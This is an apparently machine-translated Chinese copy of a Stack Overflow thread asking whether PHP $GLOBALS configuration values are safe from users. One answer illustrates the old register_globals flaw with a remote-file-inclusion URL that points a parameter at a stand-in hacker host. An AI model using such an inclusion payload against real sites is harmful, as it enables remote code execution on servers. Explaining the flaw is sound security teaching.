【问题标题】:PHP $GLOBALS | Security enquiryPHP $全球 |安全查询
【发布时间】:2015-07-25 17:37:44
【问题描述】:

我的应用程序中有一个 settings.php 页面,它使用 $GLOBALS 来存储网络应用程序中使用的配置。

例如,他是我使用的一个示例设置变量:

$GLOBALS["new_login_page"] = 1;
$GLOBALS["secret_cross_check_token"] = 3243242342423;

然后我在其他页面上调用这些全局变量(这就是我使用 $GLOBALS 的原因)来执行任务,例如,如果用户将全局切换为 1,则为他们提供新功能。

问题:

这对我来说非常有效,我不想使用数据库来存储它们,但是最近我开始想,$GLOBALS 安全吗?用户可以阅读或操作它们吗?如果是,有什么解决办法???

我知道这是服务器端,但我只是怀疑用户是否可以通过某种方式访问​​$GLOBALS

【问题讨论】:

    标签: php variables global-variables global


    【解决方案1】:

    全局变量只能在服务器端访问,可以放心使用。

    如果用户可以访问您的全局变量,那是因为他已经获得了在您的服务器中执行代码的权限,因此,在这种情况下,他可以做的事情比读取您的全局变量要多得多。

    如果用户可以在您的服务器中执行代码,他将能够轻松地复制您的所有文件和所有数据库,因此访问全局变量将不是主要问题。

    【讨论】:

      【解决方案2】:

      $GLOBALS 是完全安全的全局变量。 http://php.net/manual/en/reserved.variables.globals.php

      用户无权访问它。

      “安全”是关于register_globals 指令。 但它从 php 中删除。 http://php.net/manual/en/security.globals.php

      重点是,例如,我忘记将一些$includeFile 定义为'inc.php',而我正在做include $includeFile;,有人可以直接转到http://mysite.ru/script.php?includeFile=http://hackersite.ru/script.php 并包含他自己的文件。

      不是很好的例子,而是“接近”的东西。

      但这不是关于$GLOBALS,所以你不应该担心那里的安全性。

      对不起英语。

      【讨论】:

        猜你喜欢
        • 1970-01-01
        • 2011-08-09
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 2018-12-12
        相关资源
        最近更新 更多